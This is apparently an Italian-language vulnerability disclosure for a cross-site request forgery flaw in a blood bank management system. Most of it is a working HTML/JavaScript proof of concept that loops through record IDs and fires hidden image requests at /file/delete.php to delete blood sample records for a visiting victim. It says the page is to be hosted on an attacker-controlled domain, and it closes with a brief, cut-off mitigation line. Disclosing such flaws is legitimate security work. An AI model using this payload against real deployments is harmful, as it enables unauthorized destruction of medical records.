
POC attacco CSRF per banca del sangue
/file/delete.php?bid=Una vulnerabilità di Cross Site Request Forgery (CSRF) è stata scoperta nella funzionalità di richiesta di sangue del BloodBank Management System. Questo difetto si verifica quando si invia una richiesta delete a questo percorso /file/delete.php?bid=, consentendo al parametro bid di selezionare un record da eliminare nell'applicazione. I bid sono tuttavia dinamici in base all'aggiunta dei campioni di sangue, quindi per rendere la richiesta riuscita ho utilizzato un tag immagine generato da JavaScript all'interno di un ciclo.
Uno sfruttamento riuscito può portare ad azioni non autorizzate, ad esempio la cancellazione di dati per conto della vittima. Inoltre, ciò potrebbe essere sfruttato visitando siti web dannosi con il payload.
Di seguito è riportato un esempio di attacco CSRF PoC che elimina i campioni di sangue disponibili tramite il parametro bid; ospita il file su un dominio controllato dall'attaccante, nel mio caso stavo usando localhost:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>CSRF PoC</title>
</head>
<body>
<h2>CSRF Proof of Concept for Deleting Blood Bank Records</h2>
<script>
// Define the target URL where the Blood Bank System is hosted
const targetUrl = "http://localhost/bloodbank/file/delete.php";
// Loop through possible bid values (0 to 20) can be increased to as much as possible :)
for (let bid = 0; bid <= 20; bid++) {
// Create an image element for each bid value to send the GET request
let img = document.createElement("img");
img.src = `${targetUrl}?bid=${bid}`;
img.style.display = "none"; // Hide the image from view
document.body.appendChild(img);
}
</script>
</body>
</html>
csrf token nella richiesta ed evitare anche che le richieste GET eseguano azioni che modificano lo stato